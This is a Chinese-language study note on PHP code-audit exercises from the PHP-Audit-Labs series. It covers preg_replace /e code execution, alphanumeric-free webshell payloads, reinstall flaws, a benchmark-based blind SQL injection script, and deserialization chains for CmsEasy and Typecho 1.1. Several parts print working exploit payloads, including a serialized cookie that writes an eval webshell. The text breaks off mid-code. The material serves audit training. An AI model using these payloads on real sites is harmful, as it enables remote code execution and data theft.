【代码审计】PHP代码审计3

系列内容均来自:https://github.com/hongriSec/PHP-Audit-Labs/,仅仅在笔记中保存

Day8 - Candle

题目叫蜡烛,代码如下

preg_replace:(PHP 5.5)

功能 : 函数执行一个正则表达式的搜索和替换

定义mixed preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] )

搜索 subject 中匹配 pattern 的部分, 如果匹配成功以 replacement 进行替换

  • $pattern 存在 /e 模式修正符,允许代码执行
  • /e 模式修正符,是 **preg_replace() ** 将 $replacement 当做php代码来执行

漏洞解析

这道题目考察的是 preg_replace 函数使用 /e 模式,导致代码执行的问题。我们发现在上图代码 第11行 处,将 GET 请求方式传来的参数用在了 complexStrtolower 函数中,而变量 $regex$value 又用在了存在代码执行模式的 preg_replace 函数中。所以,我们可以通过控制 preg_replace 函数第1个、第3个参数,来执行代码。但是可被当做代码执行的第2个参数,却固定为 ‘strtolower(“\\1”)’ 。实际上,这里涉及到正则表达式反向引用的知识,即此处的 \\1 ,大家可以参考 W3Cschool 上的解释:

反向引用

对一个正则表达式模式或部分模式 两边添加圆括号 将导致相关 匹配存储到一个临时缓冲区 中,所捕获的每个子匹配都按照在正则表达式模式中从左到右出现的顺序存储。缓冲区编号从 1 开始,最多可存储 99 个捕获的子表达式。每个缓冲区都可以使用 ‘\n’ 访问,其中 n 为一个标识特定缓冲区的一位或两位十进制数。

本题官方给的 payload :**/?.={${phpinfo()}}* 实际上并不能用,因为如果GET请求的参数名存在非法字符,PHP会将其替换成下划线,即 .* 会变成 _* 。这里我们提供一个可用 payload\S=${phpinfo()}* ,详细分析请参考我们前几天发表的文章: 深入研究preg_replace与代码执行

在新版本中特别注意/e修饰符已经被废弃,建议使用preg_replace_callback()来安全地实现相同的功能。

实例分析

本次实例分析,我们选取的是 CmsEasy 5.5 版本,漏洞入口文件为 /lib/tool/form.php ,我们可以看到下图第7行处引用了preg_replace ,且使用了 /e 模式。如果 $form[$name]['default'] 的内容被正则匹配到,就会执行 eval 函数,导致代码执行。具体代码如下:

1
2
3
4
5
6
7
8
9
10
11
1  function getform($name, $form, $field, $data) {
2 if (get('table') && isset(setting::$var[get('table')][$name]))
3 $form[$name] = setting::$var[get('table')][$name];
4 if (get('form') && isset(setting::$var[get('form')][$name]))
5 $form[$name] = setting::$var[get('form')][$name];
6 if (isset($form[$name]['default']))
7 $form[$name]['default'] = preg_replace('/\{\?([^\}]+)\}/e', "eval('return $1;')", $form[$name]['default']);
8 if (!isset($data[$name]) && isset($form[$name]['default']))
9 $data[$name] = $form[$name]['default'];
10 if (preg_match('/templat/', $name) && empty($data[$name]))
11 $data[$name] = $form[$name]['default'];

我们再来看看这个 getform() 函数在何处被引用。通过搜索,我们可以发现在 Cache/template/default/manage/guestadd.php 程序中,调用了此函数。这里我们需要关注 catid (下图 第4行 代码),因为 catid 作为 $namepreg_preolace() 函数中使用到,这是我们成功利用漏洞的关键。 guestadd.php 中的关键代码如下:

那么问题来了, catid 是在何处定义的,或者说与什么有关?通过搜索,我们发现 lib/table/archive.php 文件中的 get_form() 函数对其进行了定义。如下图所示,我们可以看到该函数 return 了一个数组,数组里包含了catidtypeid 等参数对应的内容。仔细查看,发现其中又嵌套着一个数组。在 第6行处 发现了 default 字段,这个就是我们上面提到的 $form[$name]['default']

而上图 第6行get() 方法在 lib/tool/front_class.php 中,它是程序内部封装的一个方法。可以看到根据用户的请求方式, get() 方法会调用 front 类相应的 get 方法或 post 方法,具体代码如下:

front 类的 get 方法和 post 方法如下,看到其分别对应静态数组

继续跟进静态方法 getpost ,可以看到在 front 类中定义的静态属性

这就意味着前面说的 $form[$name]['default']namedefault 的内容,都是我们可以控制的。

我们屡一下思路,get_form 函数定义了 catid 的值, catid 对应的 default 字段又存在代码执行漏洞。而 catid 的值由 get(‘catid’) 决定,这个 get(‘catid’) 又是用户可以控制的。所以我们现在只要找到调用 get_form 函数的地方,即可触发该漏洞。通过搜索,我们发现在 /lib/default/manage_act.php 文件的第10行调用了 get_form() 函数,通过 View 模板直接渲染到前台显示:


这就形成了这套程序整体的一个执行流程,如下图所示:

漏洞验证

1、首先打开首页,点击游客投稿

2、进入到相应的页面,传给catid值,让他匹配到 /\{\?([^}]+)\}/e 这一内容,正则匹配的内容也就是 {?(任意内容)} ,所以我们可以构造payload: catid={?(phpinfo())}

修复方案

漏洞是 preg_replace() 存在 /e 模式修正符,如果正则匹配成功,会造成代码执行漏洞,因此为了避免这样的问题,我们避免使用 /e 模式修正符,如下图第7行:

题目

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
// index.php
<?php
include 'flag.php';
if(isset($_GET['code'])){
$code=$_GET['code'];
if(strlen($code)>40){
die("Long.");
}
if(preg_match("/[A-Za-z0-9]+/",$code)){
die("NO.");
}
@eval($code);
}
else{
highlight_file(__FILE__);
}
highlight_file(__FILE);
// $hint = "php function getFlag() to get flag";

?>

Day8 的题目来自8月份 金融业网络安全攻防比赛 ,写题解的时候发现 信安之路 已经写了很好的题解,具体可以点 这里 ,所以接下来我只会提及关键部分。

这道题目实际上是考察不包含字母数字的webshell利用,大家可以参考 phithon 师傅的文章:一些不包含数字和字母的webshell ,我们只需要构造并调用 getFlag 函数即可获得flag。排除这里正则的限制,正常的想法payload应该类似这样(把上图代码中的正则匹配注释掉进行测试):

1
2
index.php?code=getFlag();
index.php?code=$_GET[_]();&_=getFlag

我们现在再来考虑考虑如何绕过这里的正则。游戏规则很简单,要求我们传入的 code 参数不能存在字母及数字,这就很容易想到 phithon 师傅的 一些不包含数字和字母的webshell 一文。通过异或 ^ 运算、取反 ~ 运算,构造出我们想要的字符就行。这里我们直接看 payload

1
?code=$_="`{{{"^"?<>/";${$_}[_](${$_}[__]);&_=getFlag

我们来拆解分析一下 payloadeval 函数会执行如下字符串:

1
2
3
4
5
6
$_="`{{{"^"?<>/";${$_}[_](${$_}[__]);&_=getFlag
拆解如下: 第1个GET请求参数:code & 第2个GET请求参数:_
$_="`{{{"^"?<>/"; ${$_}[_](${$_}[__]); & _=getFlag
$_="_GET"; $_GET[_]($_GET[__]); & _=getFlag
getFlag($_GET[__]);
getFlag(null);

这个 payload 的长度是 37 ,符合题目要求的 小于等于40 。另外,我 fuzz 出了长度为 28payload ,如下:

1
$_="{{{{{{{"^"%1c%1e%0f%3d%17%1a%1c";$_();

这里也给出 fuzz 脚本,方便大家进行 fuzz 测试:

1
2
3
4
5
6
7
8
9
10
11
<?php
$a = str_split('getFlag');
for($i = 0; $i < 256; $i++){
$ch = '{'^ chr($i);
if (in_array($ch, $a , true)) {
echo "{ ^ chr(".$i.") = $ch<br>";
}
}
echo "{{{{{{{"^chr(28).chr(30).chr(15).chr(61).chr(23).chr(26).chr(28);

?>

后来在安全客看到一种新的思路,也很不错,具体参考:CTF题目思考–极限利用 。这篇文章主要是 利用通配符调用Linux系统命令 来查看 flag ,关于通配符调用命令的文章,大家可以参考: web应用防火墙逃逸技术(一)

我们来分析安全客这篇文章中的payload:

1
2
3
$_=`/???/??? /????`;?><?=$_?>
实际上等价于:
$_=`/bin/cat /FLAG`;?><?=$_?>

这里我想说一下 这个代码的意思。实际上这串代码等价于 。实际上,当 php.ini 中的 short_open_tag 开启的时候, 短标签就相当于 也等价于 ,这也就解决了输出结果的问题。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
// index2.php
<?php
include 'flag.php';
if(isset($_GET['code'])){
$code=$_GET['code'];
if(strlen($code)>50){
die("Too Long.");
}
if(preg_match("/[A-Za-z0-9_]+/",$code)){
die("Not Allowed.");
}
@eval($code);
}
else{
highlight_file(__FILE__);
}
highlight_file(__FILE);
// $hint = "php function getFlag() to get flag";
?>

这道题目实际上和上面那道题目差不多,只是过滤了一个下划线 _ 而已,我们可以用中文来做变量名:

1
$哼="{{{{{{{"^"%1c%1e%0f%3d%17%1a%1c";$哼();

当然,我们也可以 fuzz 可用的 ASCII 做变量名,fuzz 代码如下:

1
2
3
4
5
6
7
import requests
for i in range(0,256):
asc = "%%%02x" % i
url = 'http://localhost/demo/index2.php?code=$%s="{{{{{{{"^"%%1c%%1e%%0f%%3d%%17%%1a%%1c";$%s();' % (asc,asc)
r = requests.get(url)
if 'HRCTF' in r.text:
print("%s 可用" %asc)

可以看到此时 payload 长度为 28 。当然还有其他 payload ,例如下面这样的,原理都差不多,大家自行理解。

1
$呵="`{{{"^"?<>/";${$呵}[呵](${$呵}[呵]);&呵=getFlag

preg_replace的/e修饰符妙用与慎用
老洞新姿势,记一次漏洞挖掘和利用(PHPMailer RCE)

Day9 Rabbit

主要涉及到下面两个函数的缺陷:

str_replace :(PHP 4, PHP 5, PHP 7)

功能 :子字符串替换

定义mixed str_replace ( mixed $search , mixed $replace , mixed $subject [, int &$count ] )

该函数返回一个字符串或者数组。如下:

str_replace(字符串1,字符串2,字符串3):将字符串3中出现的所有字符串1换成字符串2。

str_replace(数组1,字符串1,字符串2):将字符串2中出现的所有数组1中的值,换成字符串1。

str_replace(数组1,数组2,字符串1):将字符串1中出现的所有数组1一一对应,替换成数组2的值,多余的替换成空字符串。

strstr :(PHP 4, PHP 5, PHP 7)

功能 :查找字符串的首次出现

定义string strstr ( string $haystack , mixed $needle [, bool $before_needle = FALSE ] )

返回 haystack 字符串从 needle 第一次出现的位置开始到 haystack 结尾的字符串。

1
2
3
4
>domain = strstr('hongrisec@gmail.com', '@');
>// 上面输出:@gmail.com
>user = strstr('hongrisec@gmail.com, '@', true); // 从 PHP 5.3.0 起
>// 上面输出:hongrisec

Day10 Anticipation

主要是很多代码在遇到错误后没有正确执行退出的代码,从而带来一些逻辑错误

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
extract($_POST);
function goAway() {
error_log("Hacking attempt.");
header('Location: /error/');
}

if (!isset($pi) || !is_numeric($pi)) {
goAway();
}

if (!assert("(int)$pi == 3")) {
echo "This is not pi.";
} else {
echo "This might be pi.";
}

漏洞解析
这道题目实际上讲的是当检测到攻击时,虽然有相应的防御操作,但是程序未立即停止退出,导致程序继续执行的问题。程序在 第一行处 使用 extract 函数,将 POST 请求的数据全都注册成变量, extract 函数的定义如下:

extract :(PHP 4, PHP 5, PHP 7)

功能 :从数组中将变量导入到当前的符号表

定义int extract ( array &$array [, int $flags = EXTR_OVERWRITE [, string $prefix = NULL ]] )

该函数实际上就是把数组中的键值对注册成变量,这样我们就可以控制 第7行 处的 pi 变量。程序对 pi 变量进行简单的验证,如果不是数字或者没有设置 pi 变量,程序就会执行 goAway 方法,即记录错误信息并直接重定向到 /error/ 页面。看来程序员这里是对非法的操作进行了一定的处理。但是关键在于,程序在处理完之后,没有立即退出,这样程序又会按照流程执行下去,也就到了 第11行assert 语句。由于前面 pi 变量可以被用户控制,所以在这一行存在远程代码执行漏洞。

例如我们的payload为:pi=phpinfo() (这里为POST传递数据),然后程序就会执行这个 phpinfo 函数。当然,你在浏览器端可能看不到 phpinfo 的页面,但是用 BurpSuite ,大家就可以清晰的看到程序执行了 phpinfo 函数
实际上,这种案例在真实环境下还不少。例如有些CMS通过检查是否存在install.lock文件,从而判断程序是否安装过。如果安装过,就直接将用户重定向到网站首页,却忘记直接退出程序,导致网站重装漏洞的发生。下面我们来看两个真实的案例。

实例分析

FengCms 1.32 网站重装漏洞

本次实例分析,我们选取的是 FengCms 1.32 。对于一个已经安装好的 FengCms ,当用户再次访问 install/index.php 时,就会导致网站重装。我们来具体看下程序的逻辑:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
if(file_exists(ROOT_PATH.'/upload/INSTALL')){
echo '<script type="text/javascript">alert("系统已安装,请删除相应安装文件, 请手工删除upload目录下的INSTALL文件!");</script>';
echo '<meta http-equiv="refresh" content="0;url=/">';
}

switch($_GET['step']){
case '1': // 安装程序初始化
include ABS_PATH."/step/step1.php";
break;
case '2': // 检查系统环境是否符合要求
......
break;
case '3': // 进行数据库信息输入
include ABS_PATH."/step/step3.php";
break;
case '4': // 正在安装
......
break;
case '5': // 安装完成
include ABS_PATH."/step/step5.php";
$in = fopen(ROOT_PATH.'/upload/INSTALL', 'w');
fclose($in);
break;
}

我们可以看到,如果是第一次安装网站,程序会在 upload 目录下生成一个 INSTALL 文件,用于表示该网站已经安装过(对应上图 25-28行 代码)。当我们再次访问该文件时,程序会先判断 upload 目录下是否有 INSTALL 文件。如果存在,则弹窗提示你先删除 INSTALL 文件才能进行网站重装(对应上图 1-4行 代码)。但是这里注意了,网站在弹出告警信息后,并没有退出,而是继续执行,所以我们在不删除 INSTALL 文件的情况下,仍可以重装网站。

比较有趣的是,原本网站网站成功后,程序会自动删除 upload 目录下的所有文件,来防止攻击者重装网站,然而这段代码却在注释当中,具体原因不得而知。

Simple-Log1.6网站重装漏洞

我们再来看 Simple-Log1.6 网站重装的例子。其 install\index.php 文件中,对网站安装成功的处理有问题,其代码是在下图 17-20行 ,程序只是用 header 函数将其重定向到网站首页,然而程序还是会继续执行下去。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
<?php
// 检查输入的魔术引号
if (!get_magic_quotes_gpc())
{
$_GET = empty($_GET) ? '' : input_filter($_GET);
$_POST = empty($_POST) ? '' : input_filter($_POST);
$_COOKIE = empty($_COOKIE) ? '' : input_filter($_COOKIE);
}

$setup = empty($_POST['setup']) ? $_POST['setup'] : 'check';

if (file_exists(PBBLOG_ROOT.'home/data/config.php'))
{
require_once(PBBLOG_ROOT.'home/data/config.php');
}

if ($install_lock && $setup == 'finish')
{
header('location: ../index.php');
}
?>

.......

<?php
if ($setup == 'check')
{
......
}
elseif ($setup == 'config')
{
......
}
elseif ($setup == 'finish')
{
......
}

而且程序的安装逻辑其实是有问题的,安装步骤由 $setup 变量控制,而 $setup 变量可以被用户完全控制(如上图 第10行 代码),攻击者完全可以控制网站的安装步骤。

漏洞利用就极其简单了,我们先来看一下 FengCms ,我们直接访问 install/index.php 页面,无视弹出来的警告
可以看到程序仍然可以继续安装。

我们再来看一下 Simple-Log 的重装利用:

直接post以上数据,即可重装网站数据。

修复建议

实际上,要修复这一类型的漏洞,我们只要在正确的地方退出程序即可。拿这次的例题举例,我们只需要在检查到非法操作的时候,直接添加退出函数,即可避免漏洞发生。例如使用 dieexit 等函数都是可以的

题目

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
// index.php
<?php
include 'config.php';
function stophack($string){
if(is_array($string)){
foreach($string as $key => $val) {
$string[$key] = stophack($val);
}
}
else{
$raw = $string;
$replace = array("\\","\"","'","/","*","%5C","%22","%27","%2A","~","insert","update","delete","into","load_file","outfile","sleep",);
$string = str_ireplace($replace, "HongRi", $string);
$string = strip_tags($string);
if($raw!=$string){
error_log("Hacking attempt.");
header('Location: /error/');
}
return trim($string);
}
}
$conn = new mysqli($servername, $username, $password, $dbname);
if ($conn->connect_error) {
die("连接失败: ");
}
if(isset($_GET['id']) && $_GET['id']){
$id = stophack($_GET['id']);
$sql = "SELECT * FROM students WHERE id=$id";
$result = $conn->query($sql);
if($result->num_rows > 0){
$row = $result->fetch_assoc();
echo '<center><h1>查询结果为:</h1><pre>'.<<<EOF
+----+---------+--------------------+-------+
| id | name | email | score |
+----+---------+--------------------+-------+
| {$row['id']} | {$row['name']} | {$row['email']} | {$row['score']} |
+----+---------+--------------------+-------+</center>
EOF;
}
}
else die("你所查询的对象id值不能为空!");
?>
1
2
3
4
5
6
7
// config.php
<?php
$servername = "localhost";
$username = "fire";
$password = "fire";
$dbname = "day10";
?>

本次题目源于某CMS 0day 漏洞改编。很明显可以看到在上图代码 第29行 处进行了 SQL 语句拼接,然后直接带入数据库查询。而在前一行,其实是有对 GET 方式传来的参数 id 进行过滤的,我们来详细看看过滤函数 stophack 。

我们可以清楚的看到 stophack 函数存在 过滤不严 和 检测到非法字符未直接退出 两个问题。

程序如果检测到非法字符或单词,都会将其替换成字符串 HongRi ,然而并没有立即退出,这样攻击者输入的攻击语句还是会继续被带入数据库查询。只不过这里关键词都被替换成了字符串 HongRi ,所以我们需要绕过这里的黑名单。纵观整个程序,当 SQL 语句执行出错时,并不会将错误信息显示出来,所以此处应为盲注。开发者估计也是考虑到这个问题,便将关键词 sleep 给过滤了,然而这并不能影响攻击者继续使用盲注来获取数据。关于禁用了 sleep 函数的盲注,大家可以直接参考这篇文章:mysql 延时注入新思路 。这里我直接利用 benchmark 函数来获取flag。python程序如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import sys, string, requests

version_chars = ".-{}_" + string.ascii_letters + string.digits + '#'
flag = ""
for i in range(1,40):
for char in version_chars:
payload = "-1 or if(ascii(mid((select flag from flag),%s,1))=%s,benchmark(200000000,7^3^8),0)" % (i,ord(char))
url = "http://localhost/index.php?id=%s" % payload
if char == '#':
if(flag):
sys.stdout.write("\n[+] The flag is: %s" % flag)
sys.stdout.flush()
else:
print("[-] Something run error!")
exit()
try:
r = requests.post(url=url, timeout=2.0)
except Exception as e:
flag += char
sys.stdout.write("\r[-] Try to get flag: %s" % flag)
sys.stdout.flush()
break
print("[-] Something run error!")

Day 11 - Pumpkin Pie

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
class Template {
public $cacheFile = '/tmp/cachefile';
public $template = '<div>Welcome back %s</div>';

public function __construct($data = null) {
$data = $this->loadData($data);
$this->render($data);
}

public function loadData($data) {
if (substr($data, 0, 2) !== 'O:' && preg_match('/O:\d:/', $data)) {
return unserialize($data);
}
return [];
}

public function createCache($file = null, $tpl = null) {
$file = $file ?? $this->cacheFile;
$tpl = $tpl ?? $this->template;
file_put_contents($file, $tpl);
}

public function render($data) {
echo sprintf($this->template, htmlspecialchars($data['name']));
}

public function __destruct() {
$this->createCache();
}
}

new Template($_COOKIE['data']);

题目考察对php反序列化函数的利用。在第10行 loadData() 函数中,我们发现了 unserialize 函数对传入的 $data 变量进行了反序列。在反序列化前,对变量内容进行了判断,先不考虑绕过,跟踪一下变量,看看变量是否可控。在代码 第6行 ,调用了 loadData() 函数,$data变量来自于 __construct() 构造函数传入的变量。代码第32行,对 Template 类进行了实例化,并将 cookie 中键为’data’数据作为初始化数据进行传入,$data数据我们可控。开始考虑绕过对传入数据的判断。

代码 11行 ,第一个if,截取前两个字符,判断反序列化内容是否为对象,如果为对象,返回为空。php可反序列化类型有String,Integer,Boolean,Null,Array,Object。去除掉Object后,考虑采用数组中存储对象进行绕过。

第二个if判断,匹配 字符串为 'O:任意十进制:’,将对象放入数组进行反序列化后,仍然能够匹配到,返回为空,考虑一下如何绕过正则匹配,PHP反序列化处理部分源码如下:

在PHP源码var_unserializer.c,对反序列化字符串进行处理,在代码568行对字符进行判断,并调用相应的函数进行处理,当字符为’O’时,调用 yy13 函数,在 yy13 函数中,对‘O‘字符的下一个字符进行判断,如果是’:’,则调用 yy17 函数,如果不是则调用 yy3 函数,直接return 0,结束反序列化。接着看 yy17 函数。通过观察yybm[]数组可知,第一个if判断是否为数字,如果为数字则跳转到 yy20 函数,第二个判断如果是’+’号则跳转到 yy19 ,在 yy19 中,继续对 +号 后面的字符进行判断,如果为数字则跳转到 yy20 ,如果不是则跳转到 yy18y18 最终跳转到 yy3 ,退出反序列化流程。由此,在’O:’,后面可以增加’+’,用来绕过正则判断。

绕过了过滤以后,接下来考虑怎样对反序列化进行利用,反序列化本质是将序列化的字符串还原成对应的类实例,在该过程中,我们可控的是序列化字符串的内容,也就是对应类中变量的值。我们无法直接调用类中的函数,但PHP在满足一定的条件下,会自动触发一些函数的调用,该类函数,我们称为魔术方法。通过可控的类变量,触发自动调用的魔术方法,以及魔术方法中存在的可利用点,进而形成反序列化漏洞的利用。

在代码31行,对象销毁时会调用 createCache() 函数,函数将 $template 中的内容放到了 $cacheFile 对应的文件中。 file_put_contents() 函数,当文件不存在时,会创建该文件。由此可构造一句话,写入当前路径。

$cacheFile$template 为类变量,反序列化可控,由此,构造以下反序列化内容,别忘了加’+’号

放入cookie需进行URL编码

1
a:1:{i:0;O:+8:"Template":2:{s:9:"cacheFile";s:10:"./test.php";s:8:"template";s:25:"<?php eval($_POST[xx]);?>";}}

文件成功写入:

实例分析

本次实例分析,选取的是 Typecho-1.1 版本,在该版本中,用户可通过反序列化Cookie数据进行前台Getshell。该漏洞出现于 install.php 文件 230行 ,具体代码如下:

1
2
3
4
5
6
7
<?php
$config = unserialize(base64_decode(Typecho_Cookie::get('__typecho_config')));
Typecho_Cookie::delete('__typecho_config');
$db = new Typecho_Db($config['adapter'], $config['prefix']);
$db->addServer($config, Typecho_Db::READ | Typecho_Db::WRITE);
Typecho_Db::set($db);
?>

在上图代码 第3行 ,对Cookie中的数据base64解码以后,进行了反序列化操作,该值可控,接下来看一下代码触发条件。文件几个关键判断如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
// 判断是否已经安装
if (!isset($_GET['finish']) && file_exists(__TYPECHO_ROOT_DIR__ . '/config.inc.php')
&& empty($_SESSION['typecho'])) {
exit;
}

// 检查可能的跨站请求
if (!empty($_GET) || !empty($_POST)) {
if (empty($_SERVER['HTTP_REFERER'])) {
exit;
}

$parts = parse_url($_SERVER['HTTP_REFERER']);
if (!empty($parts['port'])) {
$parts['host'] = "{$parts['host']}:{$parts['port']}";
}

if (empty($parts['host']) || $_SERVER['HTTP_HOST'] != $parts['host']) {
exit;
}
}

第一个if判断,可通过GET传递 finish=任意值 绕过 ,第二if判断是否有GET或者POST传参,并判断Referer是否为空,第四个if判断Referer是否为本站点。紧接着还有判断,如下图:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php if (isset($_GET['finish'])) : ?>
<?php if (!file_exists(__TYPECHO_ROOT_DIR__ . '/config.inc.php')) : ?>
<h1 class="typecho-install-title"><?php _e('安装失败!'); ?></h1>
<div class="typecho-install-body">
<form method="post" action="?config" name="config">
<p class="message error"><?php _e('您没有上传 config.inc.php 文件,请检查后再试!'); ?></p>
<button class="btn primary" type="submit"><?php _e('重新安装'); ?></button>
</form>
</div>
<?php elseif (!Typecho_Cookie::get('__typecho_config')): ?>
<h1 class="typecho-install-title"><?php _e('安装完成!'); ?></h1>
<div class="typecho-install-body">
<form method="post" action="?config" name="config">
<p class="message error"><?php _e('您没有进行安装配置,请检查后再试!'); ?></p>
<button class="btn primary" type="submit"><?php _e('重新安装'); ?></button>
</form>
</div>
<?php else : ?>
<?php endif; ?>

第一个if判断 $_GET[‘finish’] 是否设置,然后判断 config.inc.php文件 是否存在,安装后已存在,第三个判断cookie中 __typecho_config 参数是否为空,不为空。进入else分支。综上,具体构造如下图:

1
2
3
$config = unserialize(base64_decode(Typecho_Cookie::get('__typecho_config')));
Typecho_Cookie::delete('__typecho_config');
$db = new Typecho_Db($config['adapter'], $config['prefix']);

反序列化结果存储到 $config 变量中,然后将 $config[‘adapter’]$config[‘prefix’] 作为 Typecho_Db 类的初始化变量创建类实例。我们可以在 var/Typecho/Db.php 文件中找到该类构造函数代码,具体如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
public function __construct($adapterName, $prefix = 'typecho_') {
/** 获取适配器名称 */
$this->_adapterName = $adapterName;

/** 构建适配器完整名称 */
$adapterName = 'Typecho_Db_Adapter_' . $adapterName;

if (!call_user_func(array($adapterName, 'isAvailable'))) {
throw new Typecho_Db_Exception("Adapter {$adapterName} is not available");
}

$this->_prefix = $prefix;

/** 初始化内部变量 */
$this->_pool = array();
$this->_connectedPool = array();
$this->_config = array();

/** 实例化适配器对象 */
$this->_adapter = new $adapterName();
}

上图代码 第6行 ,对传入的 $adapterName 变量进行了字符串拼接操作,对于PHP而言,如果 $adapterName 类型为对象,则会调用该类 __toString() 魔术方法。可作为反序列化的一个触发点,我们全局搜索一下 __toString() ,查看是否有可利用的点。实际搜索时,会发现有三个类都定义了 __toString() 方法:

  • 第一处 var\Typecho\Config.php

    1
    2
    3
    4
    public function __toString()
    {
    return serialize($this->currentConfig);
    }

    调用 serialize() 函数进行序列化操作,会自动触发 __sleep() ,如果存在可利用的 __sleep() ,则可以进一步利用。

  • 第二处 var\Typecho\Db\Query.php

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    public function __toString()
    {
    switch ($this->_sqlPreBuild['action']) {
    case Typecho_Db::SELECT:
    return $this->_adapter->parseSelect($this->_sqlPreBuild);
    case Typecho_Db::INSERT:
    return 'INSERT INTO ' .
    $this->_sqlPreBuild['table'] .
    ' (' . implode(', ', array_keys($this->_sqlPreBuild['rows'])) . ')' .
    ' VALUES ' .
    '(' . implode(', ', array_values($this->_sqlPreBuild['rows'])) . ')' .
    $this->_sqlPreBuild['limit'];
    case Typecho_Db::DELETE:
    return 'DELETE FROM ' .
    $this->_sqlPreBuild['table'] .
    $this->_sqlPreBuild['where'];
    case Typecho_Db::UPDATE:
    $columns = array();
    if (isset($this->_sqlPreBuild['rows'])) {
    foreach ($this->_sqlPreBuild['rows'] as $key => $val) {
    $columns[] = "$key = $val";
    }
    }
    return 'UPDATE ' .
    $this->_sqlPreBuild['table'] .
    ' SET ' . implode(', ', $columns) .
    $this->_sqlPreBuild['where'];
    default:
    return NULL;
    }
    }

    该方法用于构建SQL语句,并没有执行数据库操作,所以暂无利用价值。

  • 第三处var\Typecho\Feed.php

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    public function __toString()
    {
    $result = '<?xml version="1.0" encoding="' . $this->charset . '"?>' . self::EOL;
    if (self::RSS1 == $this->_type) {
    ......
    } else if (self::RSS2 == $this->_type) {
    $result .= '<rss version="2.0"
    xmlns:content="http://purl.org/rss/1.0/modules/content/"
    xmlns:dc="http://purl.org/dc/elements/1.1/"
    xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
    xmlns:atom="http://www.w3.org/2005/Atom"
    xmlns:wfw="http://wellformedweb.org/CommentAPI/">
    <channel>' . self::EOL;
    $content = '';
    $lastUpdate = 0;
    foreach ($this->_items as $item) {
    $content .= '<item>' . self::EOL;
    $content .= '<title>' . htmlspecialchars($item['title']) . '</title>' . self::EOL;
    $content .= '<link>' . $item['link'] . '</link>' . self::EOL;
    $content .= '<guid>' . $item['link'] . '</guid>' . self::EOL;
    $content .= '<pubDate>' . $this->dateFormat($item['date']) . '</pubDate>' . self::EOL;
    $content .= '<dc:creator>' . htmlspecialchars($item['author']->screenName) . '</dc:creator>' . self::EOL;
    if (!empty($item['category']) && is_array($item['category'])) {
    foreach ($item['category'] as $category) {
    $content .= '<category><![CDATA[' . $category['name'] . ']]></category>' . self::EOL;
    }
    }
    }
    ......
    }
    }

    在代码 19行$this->_items 为类变量,反序列化可控,在代码 27行$item[‘author’]->screenName ,如果 $item[‘author’] 中存储的类没有’screenName’属性或该属性为私有属性,此时会触发该类中的 __get() 魔法方法,这个可作为进一步利用的点,继续往下看代码,未发现有危险函数的调用。

记一波魔术方法及对应的触发条件,具体如下:

1
2
3
4
5
6
7
8
9
10
11
__wakeup() //使用unserialize时触发
__sleep() //使用serialize时触发
__destruct() //对象被销毁时触发
__call() //在对象上下文中调用不可访问的方法时触发
__callStatic() //在静态上下文中调用不可访问的方法时触发
__get() //用于从不可访问的属性读取数据
__set() //用于将数据写入不可访问的属性
__isset() //在不可访问的属性上调用isset()或empty()触发
__unset() //在不可访问的属性上使用unset()时触发
__toString() //把类当作字符串使用时触发
__invoke() //当脚本尝试将对象调用为函数时触发

var/Typecho/Request.phpTypecho_Request 类中,我们发现 __get() 方法,跟踪该方法的调用,具体如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
private function _applyFilter($value)
{
if ($this->_filter) {
foreach ($this->_filter as $filter) {
$value = is_array($value) ? array_map($filter, $value) : call_user_func($filter, $value);
}
}
$this->_filter = array();
return $value;
}

public function __get($key)
{
return $this->get($key);
}

public function get($key, $default = NULL)
{
switch (true) {
case isset($this->_params[$key]):
$value = $this->_params[$key];
break;
case isset(self::$_httpParams[$key]):
$value = self::$_httpParams[$key];
break;
default:
$value = $default;
break;
}
$value = !is_array($value) && strlen($value) > 0 ? $value : $default;
return $this->_applyFilter($value);
}

array_map() 函数和 call_user_func 函数,都可以作为利用点,**$filter** 作为调用函数,**$value** 为函数参数,跟踪变量,看一下是否可控。这两个变量都来源于类变量,反序列化可控。从上面的分析中,可知当 $item[‘author’] 满足一定条件会触发 __get 方法。

假设 $item[‘author’] 中存储 Typecho_Request 类实例,此时调用 $item[‘author’]->screenName ,在Typecho_Request 类中没有该属性,就会调用类中的 __get($key) 方法,**$key** 传入的值为 scrrenName 。参数传递过程如下:$key='scrrenName'=>$this->_param[$key]=>$value

我们将 $this->_param[‘scrrenName’] 的值设置为想要执行的函数,构造 $this->_filter 为对应函数的参数值,具体构造如下:

1
2
3
4
5
6
7
8
9
10
11
class Typecho_Request
{
private $_params = array();
private $_filter = array();

public function __construct()
{
$this->_params['screenName'] = 'phpinfo()';
$this->_filter[0] = 'assert';
}
}

接下来我们去看一下 Typecho_Feed 类的构造,该类在 var/Typecho/Feed.php 文件中,代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
public function __toString()
{
